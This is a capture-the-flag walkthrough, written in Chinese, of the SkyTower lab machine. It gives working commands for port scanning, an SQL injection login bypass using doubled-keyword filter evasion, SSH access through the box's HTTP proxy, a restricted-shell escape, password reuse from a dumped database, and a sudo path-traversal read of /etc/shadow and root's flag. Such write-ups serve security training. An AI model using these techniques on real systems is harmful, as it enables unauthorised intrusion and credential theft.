SkyTower Walkthrough

Box Info

官网在这里:SkyTower: 1

image-20250418152722834

The Hack

由于官网只给了 vbox 文件,需要将其导入 Vitrual Box 后导出 ova 文件才能放在 VM 内运行

image-20250418152102380

image-20250418152157821

确定存活的主机

nmap -sP 192.168.186.0/24

image-20250418103910286

对目标 IP 进行端口发现

nmap -p- 192.168.186.157

发现开放 80,3128 端口,22 端口处于 filter 状态

image-20250418103928629

对开放的端口进行应用版本发现

nmap -p 22,80,3128 -sC -sV 192.168.186.157

80 端口开放 http 服务,3128 开放 http-proxy 代理服务

image-20250418104051596

先来看 80 端口,进行目录扫描

dirsearch -u http://192.168.186.157/ 

仅发现 login 页面

image-20250418104119438

访问 192.168.186.157 主页面,发现是登陆页面,而 /login.php 需要登录才能访问

先来看看主页面是否存在 SQL 注入?在 email 和 passwd 输入 '" 尝试闭合引号,回显 SQL error ,说明存在 SQL 注入,而且是以单引号闭合

image-20250418104909754

试试看能不能用万能密码登陆?

email=' or 1=1%20%23&password=123

看报错,服务端将等号过滤了,同时将 or 替换为空

image-20250418105407429

既然是替换为空,不妨试试双写绕过

email=' oorr 1 like 1 %23&password=123

显而易见,成功了,返回了 john 的账号和密码 john/hereisjohn 且提示我们这是他 SSH 的账号密码

image-20250418110846414

由于之前 SSH 默认端口 22 是出于 filter 状态,且存在 http-proxy 代理服务,猜测 22 端口需要经过 http 代理才能访问

编辑 proxychains 代理文件,添加

http 192.168.186.157 3128

并将原来的 sock4 代理注释掉

image-20250418111423346

nmap 经过 proxychains 代理进行内网全端口探测,看看是否存在开放端口

proxychains nmap -p- -sT 192.168.186.157 2>&1 | grep -v "denied"

发现 22 端口开放,且开放 SSH 服务

image-20250418113217132

使用 proxychains 代理进行 SSH 远程连接

proxychains ssh john@192.168.186.157

发现刚建立的连接马上就断了,说明处在一个 restrict 环境中,需要逃逸

image-20250418113347934

尝试逃逸 restrict shell

-t "/bin/sh"
-t "/bin/bash"
-t "bash - noprofile"
-t "() { :; }; /bin/bash"

使用 -t "/bin/sh" 成功逃逸

image-20250418135848110

由于目标主机没有 python 和 python3 ,不能获得 TTY shell

发现目标主机在本地开放了 MySQL 服务

image-20250418140550244

由于我们是通过 MySQL 注入获得 john 的账号密码的,尝试在源代码中读取到目标主机 MySQL 账号密码

image-20250418141001829

登陆目标主机 MySQL 服务

mysql -uroot -proot

image-20250418141201836

收集 SkyTech 数据库信息

mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| SkyTech |
| mysql |
| performance_schema |
+--------------------+

mysql> use SkyTech;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

mysql> show tables;
+-------------------+
| Tables_in_SkyTech |
+-------------------+
| login |
+-------------------+

mysql> select * from login;
+----+---------------------+--------------+
| id | email | password |
+----+---------------------+--------------+
| 1 | john@skytech.com | hereisjohn |
| 2 | sara@skytech.com | ihatethisjob |
| 3 | william@skytech.com | senseable |
+----+---------------------+--------------+

发现 email 部分的人名和目标主机已登录的用户一致,同时发现 john 的账号密码和用于登陆 SSH 的账号密码一致,这里是否存在密码复用?

只有 sara 能登陆

image-20250418150035606

查看 sara 能执行的 sudo 命令

sudo -l

发现 sara 具有无需密码以 root 身份读取 /accounts/* 文件和需要密码以 root 身份列出 /accounts/* 文件的 sudo 权限

image-20250418151527977

借助系统允许文件名包含路径遍历字符来进行路径遍历,读取 /etc/shadow 中 root 加密后的密码来破解,但 hashcat 没跑出来

sudo cat /accounts/../../etc/shadow

image-20250418150610867

那就借助 ls 列举 root 目录中文件,结合 cat 读取看看能不能泄露机密信息

$ sudo ls /accounts/../../root            
flag.txt
$ sudo cat /accounts/../../root/flag.txt
Congratz, have a cold one to celebrate!
root password is theskytower

/root 中仅存在 flag.txt ,内容是 root 账户的密码

直接 su 切换至 root 身份

$ su root
root@SkyTower:/home/sara# cd ~
root@SkyTower:~# ls -la
root@SkyTower:~# cat flag.txt

读取 flag

image-20250418151215847